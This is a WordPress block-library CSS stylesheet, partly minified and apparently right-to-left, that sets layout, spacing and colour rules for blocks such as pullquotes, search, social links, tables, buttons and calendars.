blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block-query-title,.wp-block-quote{box-sizing:border-box}.wp-block-quote{overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:left}.wp-block-quote>cite{display:block}.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-search__button{margin-right:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-right:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{max-width:calc(100% - 100px)}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:left}.wp-block-separator{border:none;border-top:2px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}.wp-block-site-title a{color:inherit}.wp-block-social-links{background:none;box-sizing:border-box;margin-right:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{color:#1d4fc4}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-spacer{clear:both}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;line-height:normal;padding:15px 23px 14px;right:5px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-left-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-right-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-left-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-right-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}@charset "UTF-8";

.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}

.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}

.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}

.wp-block-button__link{
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{
  border:2px solid;
  padding:.667em 1.333em;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){
  color:currentColor;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){
  background-color:initial;
  background-image:none;
}

.wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-right-width:medium;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block-button.aligncenter,.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

